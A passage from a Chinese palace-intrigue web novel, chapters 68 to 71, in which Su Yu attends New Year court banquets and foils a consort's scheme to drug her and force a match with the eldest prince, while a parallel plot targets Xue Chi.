“动我苏略的妹妹,这是代价。”苏略说着。 黑衣属下马上道:“是。” “慕容宁还在查军需案吗?”苏略问。 黑衣属于道:“是,皇上己经批准,年后三司会审军需案,慕容大人一直在整理证据。” “把十年前的旧案翻出来,她这怨气倒是挺大。”苏略嘲讽着,眼中的恨意几乎要涌了出来,“她不就是仗着父亲不可能不管她,才敢如此的吗。” 就是犯了天大的错,她是苏钰的生母,就是免死金牌。 第68章 第 68 章 第七十五章 关氏…… 第七十五章 关氏和苏钰迟到了, 但如苏略所说,他打点过了。 俩人刚进西华门,就有管事太监迎上来,“两位贵人, 请这边走。其他人都过去了, 还请两位快些。” 想在宫中坐轿是需要级别的, 若是谷夫人自有轿子可以坐, 关氏和苏钰就全凭两条腿。 苏钰心情己调节过来,有些担心关氏, 便扶着她走,关氏感激的看看她。 倒是让苏钰心虚了,要不是因为她,关氏也不会受这一番惊吓。 除夕宫宴,因没朝贺这一项, 相对简单许多。 先到慈宁宫拜见关太后,然后到敬思殿吃席,吃完向关太后谢恩, 就可以各回各家了。 己经迟到, 管事太监领着两人抄了近路, 一路七拐八拐,终于到了慈宁宫宫门前。 此时命妇们己经列队站好, 按品级, 以及家族地位分为两列。 左边是清贵,丈夫儿子多是科举出身,书香门第,文官家里的女眷。 右边是勋贵,多是公府侯门, 或者武官家里女眷。 至于公主王妃等皇室成员,另外摆宴,不在此列。 苏天佑三品文官,又是科举出身,按理说关氏该站在清贵一列。 但考虑苏家的情况,在苏天翊离开京城后,苏家靠的是苏震岳的军功,战场杀敌杀出来的侯爷。 苏天佑是独子,虽然没有请封世子,但武靖侯的爵位肯定是他的。 未来的侯府夫人,再加苏天佑一直住在英国公府,关氏的位置一直在勋贵队列。 关氏本想悄悄带着苏钰站到队伍里的,但就在两人出现的瞬间,所有人的目光都看了过去。 不是看关氏,是在看苏钰。 苏钰一直很有名气,男装在仕子圈里混,不跟世家千金玩。不管是贵妇圈还是千金小姐圈,对此都有许多议论,不外乎不守妇德云云。 后来品花楼,薛迟和谢无衣大打出手,更是名震京城。 不守妇德竟然还能如此受欢迎,只能说男人都是看脸的,苏钰就是个狐狸精。 现在苏钰更有名了,她是慕容宁的独女。 此时的京城,慕容宁三个字,能止小孩夜哭,她的女儿,快跟母夜叉差不多了。 好处也是有的,不管是议论她不守妇道的,还是说她是狐狸精的,全都不说了。 不敢说,惹不起慕容宁。 苏钰任由人围观,她都习惯了,不差这点。 刚刚站定,就见一个小太监匆匆走过来,走到苏钰面前,小声说着,“薛大公子派小人过来,问姑娘是否安好,公子此时在钦安殿,出宫时请姑娘在西华门稍侯,公子送姑娘回府。” 苏钰微微一怔,这么快薛迟就知道了? 也是,青天白日的京城搞刺杀,没人知道才奇怪。 现在京兆尹估计在加班加点收尸兼写报告,为什么京城治安乱成这样了。 “苏钰。” 不等苏钰答应小太监,就见谢无衣一身建章骑营的官服,腰间挂着配刀,匆匆跑过来,也不管周围的诰命,径自问着,“你怎么样,还好吧。” 苏钰看他这一身打扮,“你这是在当值?” “嗯。”谢无衣说着,“事情我知道了,放心,这个仇我一定替你报了。” “呃,不用……”苏钰连忙说着,“你当差呢,赶紧走吧。” 谢无衣也确实没时间久留,他还得带队巡逻,没时间细问,只是道:“散席之后,在西华门等我,我送你回去。” 小太监顿时急了,明明是他先来的,小声说着,“苏姑娘,公子……” 谢无衣这才注意到小太监,“薛迟派你来的?” “是。”小太监答应着。 谢无衣脸色难看,“怎么哪里都有他,烦不烦。” 小太监哪里敢回嘴,只是看向苏钰,“公子……” “都不用。”苏钰果断把两边都拒绝,“我大哥会来接我。” 谢无衣愣了一下,意外又不意外,每到过年时苏略会回京几天,“他送你来的?” “嗯。”苏钰点头,“也会来接我,所以,就不麻烦你们了。” 苏略多半不会来接她,但是眼前的情况,还是把苏略搬出来合适。 谢无衣皱眉,还想再坚持一下,却被苏钰挡回去,“快回去当值。” 又用口型说着,“这里是慈宁宫。” 在慈宁宫门口如此张扬,这是嫌她死的不够快。 谢无衣也知道这里说话不妥,但他听到消息后,实在是担心的很,便匆匆赶来。 “好吧,我改天去找你。”谢无衣说着,这才离开。 打发走了谢无衣,小太监还眼巴巴看着苏钰,“就这么跟他说。”苏钰说着,“去吧。” “是。”小太监应着,这才走了。 两人都走了,苏钰规矩站好,一副什么都没发生的模样。 但在场所有的诰命们,连旁边的太监脸色都有点古怪。 就是没听到三人在说什么,但谢无衣那么大一个人,谁看不到。 都找到慈宁宫门口了,这关系是打算明天就成亲吗。 “太后宣召。” 慈宁宫内太监一声高喊,众诰命鱼尾惯穿进入。 苏钰跟着站在人群最后,队伍停下来时,她连正殿的门都没进去,只站在门外。 跪拜行礼,礼毕起身,接下来就是吃席。 “苏钰。”关太后突然出声。 站在门外的苏钰只得从队伍最后走出来,走到正殿中间,“臣女拜见太后。” “听说,来的路上遇刺了?”关太后说着,目光落在苏钰身上。 苏钰神色如常,恭敬说着,“一点小事,竟然惊扰了太后。” “十几条人命,算不得小事了。”关太后说着。 苏钰故作惊讶之态,“竟然死了这么多人,臣女当时在马车之中,并不知道外头情形。还以为是乞丐拦道索要钱财。” 关太后看着她沉静的面容,一场刺杀,十几条人命,依然镇定自若,全然不受影响。 关太后不说话,也没让退下,苏钰继续恭敬站着,脊梁挺的笔直,神情却是淡然,一副能站到天荒地老的感觉。 “苏略回京了?”关太后说着。 苏钰言语恭敬,“是。” “你父亲呢?”关太后又问。 苏钰摇头,“臣女不知。” 终于,关太后摆摆手,苏钰退回队伍位置。 接下来就是吃席,御厨虽好,但高门大户里谁缺这一口吃的。 关太后肉眼可见的心情不好,宴席上动筷的都不多,估摸着时间差不多,领头的一品诰命起身,众诰命也跟着起身。 众人再回慈宁宫谢恩,关太后宣布散场,各自回家。 苏钰扶着关氏走到西华门,苏邑正在门口等着,两人上了轿,轿夫抬轿的那一刻,苏钰松了口气,终于能回家了。 因为是除夕,国公府大门尽开,轿子直抬到暖阁两人才下轿。 这半天的折腾,关氏己经疲惫不堪,但想到晚上还要除夕守岁,不得不打起精神来。 “三太太还是休息一下,家事我来料理。”苏钰说着。 新年的事务关氏肯定都安排好了,只要执行的时候多盯着点即可。 都是一家人,就是哪里出错了,也不会有人计较。 关氏本想强撑着,但又想到明早五更还得进宫朝贺,还是全套的朝贺,顿时觉得撑不了了,“那就麻烦大姑娘了。” 苏钰先回听雨轩换了衣服,马上去了祠堂。 除夕最重要的活动,祭祀,其他活动都可以出错,唯独祭祀绝不能出错。 苏氏宗祠在国公府前书房的左侧,平常大门紧闭的,只有除夕祭祀时才能开门。 “大哥。” 苏钰进门就看到苏略,有他在,下人们干活格外麻利,一点差错都不敢出。 苏略笑着,“怎么没去歇着。” “三太太有些不适,我想帮些忙。”苏钰说着,“没想到大哥在这里。” 苏略道:“祭祀是大事,绝不能出错。” “有大哥盯着,肯定不会出错。”苏钰笑着说。 她能感觉到,苏略特别在意每年祭祀。 以养子的身份站在长子的位置上,立于苏天翊身后,是他得意又自豪的事。 苏天翊离京之后,他以长子的身份代替苏天翊主祭,他就更高兴了。 脑子里不自觉得响起慕容宁叮嘱的话,苏略当她是妹妹,她就当个好妹妹。 苏略想继承国公府的爵位,那就支持他。 “这里有我,你去歇着吧。”苏略说着。 苏钰道:“那我去大花厅看看,今年老太太要跟着一起守岁,下人别搞错了位次。” “去吧。”苏略说着。 苏钰转身欲离开时,不自觉得偏头看一眼苏略。 一直都说苏略长的像苏天翊,在她看来,五官长相真不像,像是的是气质。 除了官服之外,苏天翊一直是文士打扮,苏略也是。可能是受苏天翊教养的关系,苏略的举手投足像极了苏天翊。 “怎么了?”苏略注意到苏钰的目光。 苏钰想了想,问,“大哥最近见过父亲吗?” 苏略眼中透中温暖,“见过,父亲很好,你不用担心他。” “他……”苏钰脸上带着期待,神情却显得十分犹豫,“我,我想见他。” 苏略表情微微一僵,随即笑了起来,伸手摸摸苏钰的头,“他也很想见你,但现在还不可以。” 苏钰默然不语,很多时候她都很想问问苏天翊,到底什么样的事,能让他抛下亲女十年。 感受到苏钰的沉默,苏略声音格外温柔,“我带回来了好多东西,还没入库房,就是为了让你先过眼。或者有什么喜欢,想要的,都告诉我。” “我不需要什么。”苏钰说着,她己经不是小孩子,再好的过年礼物,对她都没有意义。 “我去大花厅看看。” 苏钰说着转身离开。 第69章 第 69 章 祭祀结束后,就是除…… 祭祀结束后, 就是除夕守岁,宴席摆在后花园的大花厅里。 因为人少,尤其是今年二房不在,算上苏略才七个人, 一桌都坐不满。 众人分席而坐, 至少让大厅看着没那么空。 关氏早早定了戏班, 连带着说书先生, 杂耍艺人。说不准席上谁点什么,反正能取乐的都预报上, 苏家不差钱。 苏震岳向来爱热闹,吃饭的时候听戏,吃完就看开始看杂耍。 “说起来,我还没见过大爷。”谷夫人笑着对苏略说。 苏略马上站起身来,恭敬的向谷夫人见记, “是晚辈失礼,没去拜见老太太。” 谷夫人改嫁后,很长一段时间里, 与苏家几乎没有联络。倒是杨阁老每逢年节, 会亲自把苏天佑接到杨府与谷夫人团聚。 直到苏天翊与慕容宁和离休妻闹的沸沸扬扬时, 谷夫人曾过来劝和。 后来苏天翊离京,慕容宁改嫁, 谷夫人把苏钰接去小住一段时间, 与苏家关系才算近些。 这也就造成了苏略与谷夫人的不认识。 苏略在京城时,苏家与谷夫人几乎是断联状态。 后来关系好了,苏略跟随苏天翊走了,不在京城。 苏略与谷夫人这是第一次共同守岁过年,也是头一回见面。 “你放下前程, 跟随父亲东奔西跑,如此孝心,实属难得。”谷夫人笑着说。 苏略唇角勾起一抹笑意,心里有几分高兴,“老太太过奖了。” “爷们外头的事要紧,知道你呆不住,打算什么时候走?”谷夫人好像闲聊似的问着。 苏略道:“还没确定,估摸着要留一阵子。” 慕容宁搞出这么大的事,他当然得留京城。 “噢,要留京啊。”谷夫人笑着,有几分意味深长,眼中却透着担忧。 关氏笑着道:“是我疏忽了,不知道大爷要久住,房舍也没好好整理,明天我就让小子们把前书房收拾了了。” 苏略这些年回家也就是点个卯,在苏天佑的书房凑和几晚就过去了。 现在要长住,自然得好好收拾屋子。 “前书房就不用了。”苏略笑着说,“我还住原本的住处,静怡轩。” 关氏微微一怔,笑着点点头,“也好,明天我就着人收拾了。” 静怡轩是国公府中轴建筑澄怀阁左侧的小跨院。 而澄怀阁是苏天翊与慕容宁的住处,他离京后一直空置状态。 静怡轩也跟着空了下来,因国公府一直在做房屋维护,倒不至于漏雨,但也好不了多少。 “大哥要在京城久住?”苏钰有些意外。 苏略是住过静怡轩,但那是很久以前了。 据婆子们说,苏天翊把苏略带回来的时候才四岁,分派了奶妈婆子安置在静怡轩。 后来苏天翊与慕容宁成亲后,苏略年岁稍长,就搬到书房住了。 苏略突然提出要住静怡轩,是挺意外的。 “嗯。”苏略笑着说,“正好静怡轩与你住的听雨楼是挨着的,我也方便照看你。” 想到上回谢无衣的夜访,苏钰不由的一阵心虚,又有几分安心。 跟苏略做了邻居,晚上是真安全了。 闲聊中,不知不觉中时间过去。 鞭炮声响完,想到明早都要进宫,便散场各自回去休息。 至次日五鼓,苏钰起床,以最快的速度填饱肚子。然后坐在妆台前,开始梳妆。 关氏提醒过她,最好别喝水,因为朝贺吃席非常花时间,在宫里更衣又十分麻烦。 收拾完毕,苏钰坐车去二门。 两顶八抬大轿己经准备好了,小厮牵着马,苏略一身正装,身侧是衣貌整齐的护院小厮。 “今天我送你们。”苏略说着,他亲自护身,倒要看看哪个敢动手。 “嗯。”苏钰笑着。 苏略护送,是真不用担心了。 两人说话间,关氏也到了。 虽然大品梳妆后,脸上的粉十分厚,苏钰依然注意到关氏脸色不太好。 过年对于当家太太就是受累日,昨天还受了惊吓。晚上要守岁,今天又要早起,关氏有点撑不住了。 “我没事。”关氏说着。 就是有事也得等领完宫宴回来,晕也得晕回程的轿子里。 这是京城贵妇最基本的职业素养。 两人上轿,大轿出了二门,仪仗就摆出来了。 初一的朝贺,除了按品梳妆之外,还要摆出国公府全副执事。两边街道早己净街,外人莫入。 随着开道小厮叫喝声,苏钰定定心神,苏略给了她安全感,至少不用担心再被刺杀。 苏天翊的养子,国公府的大爷,只凭身份是不值得关太后问一句的。 苏略是公认的天才,文武双修,十二岁中解元,刷新了大周朝的科场记录。 除了才气,苏略更是手腕更了得,非常会经营。现下京城的这些才子,就是新科状元叶峰,都没有当年他的风头。 骑马游街,万人空巷,随便一句诗词佳作,就能被仕子们传颂,多少人以与苏略结交为荣。 就连京城的大儒对苏略的评价也极高,认为他有可能是本朝第一个连中三元者,将来前程可能还在苏天翊之上。 苏略却不喜欢被人如此评价,他多次公平表示,苏天翊是他这一生中最敬仰之所在,也是他这一生追逐的目标。 这些话苏略说时,众人也没太当回事,毕竟苏天翊是他的养父,他还需要苏天翊扶持。 后来苏天翊因故把他出族,与他断决关系,苏略苦苦哀求,差点跪死在国公府门前。 许多大族看中他的才华,向他伸出橄榄枝,都被他拒绝。 苏天翊对他有养育之恩,做为养子他必须回报,不管姿态多低,都是应该的。 在文人当中,名声是非常重要的。 直到苏略放下京城一切,十年过去,再没拿起过书本,再没人与谈诗论画,而是跟随苏天翊东奔西跑,所有人才恍然。 苏略这是说真的啊,他对苏天翊的感情真的如此深,连学业前程都放弃了,真的要为苏天翊出生入死。 仪仗摆了一路,直到西华门前,全副执事收起。 因为都是这个时间点来,此时西华门前车轿一大堆,都是进宫的诰命们。 苏钰和关氏一前一后下轿,天还黑着,婆子们打着灯笼,依然有些看不清人。 “三太太,苏姑娘……”一个眼生的太监,打着灯笼上前。 苏略看他一眼,“御书房的张公公,何事?” “苏大爷竟然认识奴才。”张公公陪着笑脸,“是薛大公子想着天黑路滑,让奴才来给苏姑娘照照路。” 苏钰十分意外,既意外苏略能一眼认出太监姓什么,在何处当差。又意外薛迟,这种时候竟然派了太监来接她。 “倒是有心了。”苏略说着,“那就去吧。” 张公公向苏略笑笑,又对苏钰和关氏道:“三太太,苏姑娘,这边走。” 张公公前头挑着灯笼引路,苏钰担心关氏,小心扶着她。 初一命妇入朝朝贺的地点是在坤宁宫,后位空悬,坤宁宫主位便空着。关太后,关贵妃接受命妇朝拜。 关氏给苏钰讲过规矩,简单来说,不停的跪,不停的磕头,从天黑磕到天明。 听的时候苏钰都皱眉,现在开始磕了,真是膝盖疼。 各种花式磕头,磕到巳时,天都大亮了,终于礼完。 朝贺结束,接下来是吃席。 宴席排在御花园,因为人多,公主王妃等皇亲也在其中,呼拉拉都一起过去,哪怕座次是安排好的,全部入席也需要时间。 宫里安排的是,排队入座,从宫妃起,然后王妃,公主,郡主,天家的人先入座。 再然后按着品级,勋贵,清贵,关氏是三品诰命还轮到的早些。 苏钰连品级都没有,破格参加,自然是最后的。 幸好是个晴天,至少没下雪,不然就这么露天站着,真怕吹出病来。 一波又一波的命妇被引路太监接走,很快轮到关氏,关氏走时看向苏钰。 苏钰朝关氏笑笑,她没问题的,让关氏先走。 关氏跟着引路太监离开,广场上剩的诰命越来越少,苏钰心里都想翻白眼了,却是恭顺站着,腰杆挺的笔直。 “是苏姑娘吗?” 突然的男声,苏钰微微怔了一下,一个十几岁的少年向自己走来。 身量颇高,面若冠玉,贵气逼人,隐约还有几分眼熟。 再看其身上装束,皇子朝服,苏钰马上见礼,“见过三皇子。” 三皇子秦朗,显庆皇帝唯一成年且脑子正常的皇子,不存在认错的可能。 “苏姐姐免礼。”秦朗笑着,一副熟人相见的模样。 苏钰却被叫的愣了一下,姐姐?哪门子姐姐。 她跟三皇子,见过面吗? “姐姐果然不记得了。”三皇子笑着,脸上却带着几分失落,“七年前,皇家猎场,楚王妃教你和世子骑马。” 苏钰这才想起来,慕容宁嫁入楚王爷大约一年后,就把她接过去同住。 慕容宁教她和楚王府世子秦昊骑马射箭,因为楚王妃的身份,常出入皇家猎场。 隐约记得,当时三皇子才七、八岁,小豆丁一个。说是要学骑马,但宫人们哪个敢教。 当时她年龄小,胆子却是够大,竟然把三皇子抱上马,说要教他骑。 跟随的太监宫人吓的半死,还是慕容宁过来阻止她。 后来三皇子有没有学会骑马,她都记不得了。事隔七年,她哪里还记得住,当年猎场上有过一面之缘的小朋友。 “这些年来,我一直想见姐姐,只是没机会。”三皇子笑着说。 “姐姐的称呼,臣女实在当不起。”苏钰连忙说着。 昭华公主才是三皇子的亲姐姐,就饶了她吧。 三皇子顿时沮丧起来,好像被抛弃的小奶狗,泪光点点的看着苏钰,“姐姐,不,苏姑娘,我无意给你添麻烦。” 苏钰脸上笑容得体,心里却想骂娘。 既然无意添麻烦,那就请你看看这是什么地方啊。 这么多诰命还在呢,你跑过来叫姐姐,若是让关贵妃听到,大不敬的罪名直接就扣上来了。 “苏姑娘……” 有个眼生的小太监走过来,先向三皇子见礼,又对苏钰说着,“楚王妃请您过去。” 苏钰格外看他一眼,“劳烦公公带路。” 又向三皇子行礼,“臣女告退。” “苏……”三皇子欲言又止。 小太监前头引路,苏钰紧跟其后,却是注意路线。 她进过宫,但皇宫太大,她去过的地方也有限。 还是听关氏说过,坤宁宫向后走,过了坤宁门和天一门就是御花园。 “姑娘,这边……” 穿过坤宁门,小太监并没有直走,而是左转走向甬道。 苏钰笑着问,“公公这是打算带我去哪啊?” 关贵妃给她“保媒”的去处吗?她有点好奇,关贵妃想她嫁给谁。 小太监顿时警觉,下意识就要动手,苏钰的动作却是更快,一招擒拿掐住小太监的脖子,“楚王妃都没来,还敢冒充她的名头。” 虽然朝贺的人多,但自己亲妈来没来,她还是知道的。 小太监似乎被吓住了,“苏姑娘饶命,是薛公子派我来的。” “他派的人不是你。”苏钰说着。 不过,也奇怪了,引他来的张公公去哪里了? 薛迟既然吩派了他照看自己,怎么就由着小太监把她带走。 疑惑之间,苏钰只觉得一阵香气飘过,顿时头晕目眩,身体全然不受控制。 原本受制的小太监,顿时一个闪身,身法十分灵动,扶住摇摇欲坠的苏钰,就往旁边偏殿走,脚步极快。 而就在小太监扶着苏钰消失在墙角时,三皇子带着贴身太监匆匆赶过来。 己经看不到苏钰的身影,三皇子心中焦急,却没了主意,对贴身太监说着,“快去告诉谢大哥。” 谢无衣是他的伴读,也是他的兄弟。 谢无衣托他照看苏钰,结果苏钰在他眼皮子底下不见了。 “母妃,你到底要干什么啊。”三皇子自言自语着,焦虑之余更多的是无力。 不管关太后还是关贵妃都对他寄于厚望,他却不觉得高兴。 他己经是唯一的皇子了,许多事情,早该收手。 第70章 第 70 章 每年的入宫朝贺,晋…… 每年的入宫朝贺, 晋阳长公主都会带着薛迟进宫。这也是惯例,公主之子因母而贵,自然跟着母亲一起。 同席的公主之子不只薛迟一个,只是他最有名, 连位次都格外靠前。 “薛迟这身量, 是越来越像皇上了。”关太后突然说着。 关贵妃不禁看向薛迟, 以前她并不觉得, 现在关太后这么一说,看着是有点像了。 脸不像, 身材像,身材高挑,肩宽,腿长。 显庆皇帝中年发福,身材保持的不好, 薛迟这身量更像是大皇子和三皇子。 “外甥像舅,这是他的福气。”晋阳长公主笑着说。 薛迟起身,“谢太后夸奖。” 关太后看向薛迟, 神情慈爱, “这些后辈里, 你是个尖,三皇子远不如你, 也怪不得皇上格外看重你。” 晋阳长公主一脸惶恐, 连忙站起身来,“太后如此说,就折煞他了,三皇子人品贵重,哪里是他能比的。” “一个里孙一个外孙, 我都看中。晋阳啊,你太拘谨了。”关太后笑着说,“都坐下吧,站着像什么样子。” “是。”晋阳长公主脸上笑着,坐下来时,背上的冷汗都要滴下来。 关太后看一眼薛迟,依然淡泊深远,好像全然听不出她的话外音。 这份心性,确实比三皇子强。 要是三皇子有薛迟的一半,她也不至于如此担忧。 诰命们陆陆续续入席,薛迟一直留意,关氏早就入座,却依然不见苏钰。 “公子……”一个小太监走到薛迟跟前,声音压的极低,“苏姑娘不见了。” 薛迟脸色顿时变了,却是对小太监挥挥手。 晋阳长公主就坐在薛迟身侧,自然听到小太监的话,心都要悬起来,低声说着,“我派人去看看。” 薛迟没作声,却是召来身侧待召的太监,“我要更衣。” “薛公子,这边请。”太监说着。 晋阳长公主下意识就想拦他,却下意识的把手缩了回去。 薛迟起身离席,跟着太监去更衣。 关太后看在眼里,唇角的笑意越发深了。 薛迟行事素来谨慎,几次算计皆未得手,关贵妃这回的建议很好,让苏钰进宫朝贺。 爱情的力量真伟大,可以让人失去理智。 “让昭华过去吧。”关太后吩咐身边的太监。 *** 苏钰醒的很快,即然是有备而来,迷香自然防备的重要一环。 苏略提供的随身香囊,可解市面上九成以上的迷香,头晕的一瞬间,她就狠吸了一下,药效非常好。 清醒了,苏钰依然没动,只是眼角扫了一眼扶着她的小太监。 她真是走眼了,这么俊的功夫,她竟然没瞧出来,差点被反杀。 不过,她也有点好奇,关贵妃会给她保什么媒。 又一个拐角,苏钰估摸着己到北五所附近,小太监停下来,又有一个老太监站在一侧偏殿旁,看到两人连忙招手。 “人在里头了吗?”小太监问着。 “都安排好了。”老太监说着,“贵妃娘娘的咐咐,奴才不敢怠慢。” 说话间,老太监推开偏殿的门,小太监正欲扶着苏钰进去,就听里头传来年轻男子的声音“嘻,嘻,漂亮娘子,漂亮娘子……” 笑嘻嘻的声音,只见一个跌跌撞撞的年轻男子从屋里跑出来,伸手就要抓苏钰。 装晕中的苏钰闪身躲开,小太监吓了一大跳,“你没晕?” “我只想知道贵妃娘娘给我安排了谁。”苏钰笑着说,有几分俏皮的偏头看了过去。 与三皇子同样的皇子朝服,却穿的七扭八歪 身材高大,样貌出奇的好看,表情却全然不对,双颊绯红,口水都要流出来的模样。 宫女所出,痴傻的大皇子秦铮。 大皇子出生在显庆皇帝选秀前,今年二十岁。 虽然是长子,但因宫女所出,显庆皇帝十分不喜。 生母生了长子都没有被册封,到死都只是官女,大皇子的待遇就可想而知了。 据说这位大皇子在八岁之前,神智是正常的,过的虽然不好,但总能吃饱穿暖。 直到八岁生日那天,突然落水,也有人说是关贵妃指使人把他推到水里。本欲淹死他,命大没死成,却泡成了傻子。 后来大皇子就一直傻,傻到现在,要不是苏钰才恶补了后宫人员名单,完全想不起宫里还有这么一号人物。 “贵妃娘娘有心了,只是这门亲事我不同意,就此告辞。”苏钰笑着说。 关贵妃打的竟然是这个主意,倒是会算计,傻痴的大皇子,总是皇子。 “这可由不得你。”小太监见状,连忙阻拦苏钰,又对老太监喊着,“还不快来帮忙。” 老太监早己吓得六神无主,有心帮忙,却不知道要如何帮忙。 “新娘子,父王要给我娶新娘子了。”大皇子拍手喊着,却是冲向苏钰。 苏钰顿时腹背受敌,大皇子明显是被下了药,虽然没什么武功,但一个成年男人的力量,尤其是傻了,无所制力气更大。 小太监连忙说着,“这位苏姑娘就是贵妃娘娘给您寻的新娘子,只要入了洞房,就是日日一处,再不分开。” “贵妃娘娘的好心,我是无福消受了。”苏钰冷笑,这等不伦不类的话,让她出手再不容情。 “这个福气就给你了。” 说话间,苏钰擒拿制住小太监,就往大皇子怀里塞。 大皇子似乎愣了一下,下意识就要避开,动作十分灵敏。 苏钰微微一怔,心头浮起一抹疑惑。 从来没有跟傻子接触过,被下药的傻子更没有,这让她有点拿不准。 傻子的动作有这么灵活吗? “何人在此打斗!” 一声怒喝,只见谢无衣一身建章营骑的官服,直冲了进来。 身后跟着两个手下,动作慢了一步,却十分有眼色,制住了一旁的老太监。 小太监看到谢无衣,脸色微变,态度却十分强硬,“大皇子被人毒害,我正欲拿下凶……” 一语未完,就见谢无衣直接拔刀,照头直劈了下来。 小太监看出谢无衣的杀机,大惊失色,连忙喊着,“我是贵妃……” 谢无衣全然不理会,刀光闪烁间直指要害,誓要取小太监性命。 “谢无衣!” 苏钰只得拦住他,“今天是初一,朝臣命妇都在,出了人命事情就压不住了。” 谢无衣为她出头,她就不能给谢无衣添麻烦。 在这里杀了关贵妃的心腹,她倒是不担心自己,只是谢无衣卷入局中,怕是麻烦不会小。 “欺人太甚。”谢无衣双眼赤红,他若是再晚一步,后果不堪设想。 苏钰硬是上前一步拦住他,朝他摇摇头,“我早有防备,并没有吃亏。” 随即朝小太监喊着,“算你命大,还不快滚。” 小太监刚从鬼门关走一圈,哪里还有刚才的气势,连滚带爬的跑了。 被谢无衣两个手下制住的老太监,见状连声说着,“我什么都不知道,就饶了我一条狗命吧。” 苏钰却是看向大皇子,谢无衣冲过来时,也不知道是不是药效的关系,原本还生龙活虎的大傻子竟然晕了过去,直挺挺摔在地上。 这晕的,是不是太巧了? 顾不上细想,苏钰对老太监喊着,“既然是你把大皇子带来的,自然知道该把他送回何处。” “是,是,老奴知道。”老太监连声说着。 他本就是侍侯大皇子的宫人,没有前途,更没有钱途。 太后皇上对这个皇长子全然不在意,又是个大傻子,侍侯起来格外费劲。 宫里但凡有点门路的,都躲了,他是躲不开才被派来的。 这回是关贵妃的心腹找到他,许了他银子前程,本以为做完这一票就能脱离苦海,没想到命差点没了。 老太监手脚哆嗦的扶起大皇子,只是大皇子身材高大,扶的十分费力,差点又把大皇子摔地上。 “让你的人搭把手,把人送回去。”苏钰对谢无衣说着,“总是皇子,大初一的闹出事来,对谁都不好。” “你倒是好脾气,还想着息事宁人。”谢无衣说着,却是对两个手下使了眼色。 “这里是皇宫。”苏钰笑着说,生怕谢无衣冲动惹事,“我又没吃亏,秋后算帐也不迟。” 谢无衣心中甚是不情愿,还是对两个手下挥挥手,两个人过去扶起大皇子。 苏钰想到大皇子被下了药,老太监肯定不会给他叫大夫,便把苏略送她的香囊交给老太监,“不想大皇子出事,就把香囊给他好好嗅一嗅。” 老太监连忙接过来,“姑娘放心,我一定会好好照顾大皇子。” 苏钰对老太监的话十分怀疑,想到大皇子的遭遇也实在可怜,言语吓唬老太监,“今日之事,我不会善罢甘休。到时候太后面前对质,你若想留住性命,就要大皇子给你作证,你是被那小太监胁迫不得己为之。” 老太监如梦方醒,马上说着,“老奴明白。” 大皇子是傻子,只要对他好点,就能让他言听计从,让他帮忙作证,倒是不难。 老太监前头带路,两个侍卫扶着大皇子走了。 谢无衣看向苏钰,“真的没事?” “连衣服都没皱,能有什么事。”苏钰笑着说,“今天多谢你,快回去当差吧。” 谢无衣却不想走,“关贵妃如此行事,你接下来要怎么做?” “回家,告诉我大哥。”苏钰说着, 谢无衣听得点点头,“这么大的事,是该从长计议。” “我得去御花园吃席了。”苏钰说着,关贵妃钦点她入宫朝贺,她当然得按时出现,“改天请你喝酒。” “我送你。”谢无衣不放心。 苏钰也没拒绝,从御花园到北五所并不远,她看过地图,却没走过。 谢无衣一路送苏钰到天一门,苏钰朝无衣挥挥手,“快去当差吧。” “自己当心些。”谢无衣说着,这才转身离开。 苏钰在天一门口顿了一下,正欲进入,就听尖叫声响起。 “薛公子,你在做什么!” 70-80 第71章 第 71 章 尖叫声来自万春亭的…… 尖叫声来自万春亭的方向, 苏钰脸色变了,下意识的奔过去。 她突然意识到,她出事,谢无衣都能马上赶到, 那薛迟呢。 这会不会是一个连环计, 除了对付她之外, 还要针对薛迟。 “公主, 公主,薛公子, 你要做什么!”尖叫声越来越大,似乎生怕别人听不到。 而随着这一声喊,侍卫,太监以及来来朝贺的命妇,好像听到信号一样, 都过来了。 “这是出什么事了?”一个五品命妇小声议论着。 相熟的命妇看她一眼,对方马上住了嘴。 养性斋的房门被大力撞开,只见衣衫不整的宫女从里面冲出来。 昭华公主紧跟其后, 衣衫虽然稍微有点乱, 但与宫女的乱法是不同的, 好像是自己故意弄乱的。 “侍卫都退下。”大太监喊着。 侍卫们退开,人群似乎没那么拥挤了。 苏钰并没往里面挤, 却顺着人群看过去, 只见薛迟缓缓从屋里出来。 身上朝服并不整齐,衣扣搭配明显是整理过的,却没有整理好,或者说根本就不会穿。 同样的,头发也是收拾过的, 只是根本就不会打理,反而更显得凌乱。 这样的薛迟与衣衫不整的宫女…… 苏钰只觉得心口猛然一滞,情绪好像停顿了一般,有些茫然的看着走出来的薛迟。 正缓步向外走的薛迟,似乎察觉到苏钰的目光。四目相接的瞬间,薛迟还算镇定的目光,顿时溃散,几乎下意识的别开脸。 原本强压的愤怒,几乎要瞬间暴发出来。 是他天真了,真个后宫都是关太后的天下,他安排的眼线自然也在关太后的算计之中。 他以为苏钰出事,匆匆赶来,结果就是…… 被算计至此,他生气愤怒还能保持冷静。 但这种时候,如此狼狈之时,被苏钰亲眼所见。 愤怒之余,更添了几分羞耻,以及无地自容。 最狼狈的模样,被最心爱的女人看到。 “这是出了什么事?” 姗姗来迟的关贵妃终到了,亲眼看着自己的杰作,却表现的一脸焦急的模样,对薛迟说着,“我知道你和昭华两情相悦,我都要向太后请旨指婚了,哪有这么着急的。” 衣衫凌乱的宫女顿时大哭,跪下来说着,“我没有勾引薛大公子,我没有。” 正欲接着表演的关贵妃表情僵了一下,这才注意多出来一个宫女。 昭华公主脸色虽然有几分难看,却对宫女怒声说着,“不知道哪里跑出来的宫人,我与薛大哥说话,她竟然敢公然引逗。” 下意识就要说拖出去杖毙,又想到今年是大年初一,不好见血。 “都先去整理一下,一会宴席就开始了,太后还等我回话。”关贵妃说着。 随着关贵妃的发话,围观的众人赶紧散去,自有宫女太监引着薛迟和昭华公主收拾更衣。 此时御花园里坐着的关太后,正听着海公公的小声汇报。 “没成吗?”关太后皱眉。 为了算计薛迟,她可是特意用苏钰当借口,引得薛迟关心则乱,这才中了迷情香。 无论如何,要让薛迟和昭华公主成其好事,还得在众人面前。 大年初一,多合适闹起来的日子,想压都压不住。 海公公摇摇头,“薛公子意志力惊人,还有那宫女也来的奇怪,只怕是……” 只怕是显庆皇帝盯着这边的情况,才有宫女突然冒出来搅局。 但越是这样的盯着,才越显得奇怪。 薛迟一个外甥,至于如此吗。 “这多半不是外甥。”关太后神情幽然。看到众诰命们回来,便对海公公挥挥手。 海公公退至一旁。 众诰命入席,苏钰也跟着进入御花园正厅,早有引路太监给苏钰指了位置。 苏钰魂不守舍的落座,宴席开始,别说苏钰没胃口,绝大多数诰命都没有胃口。 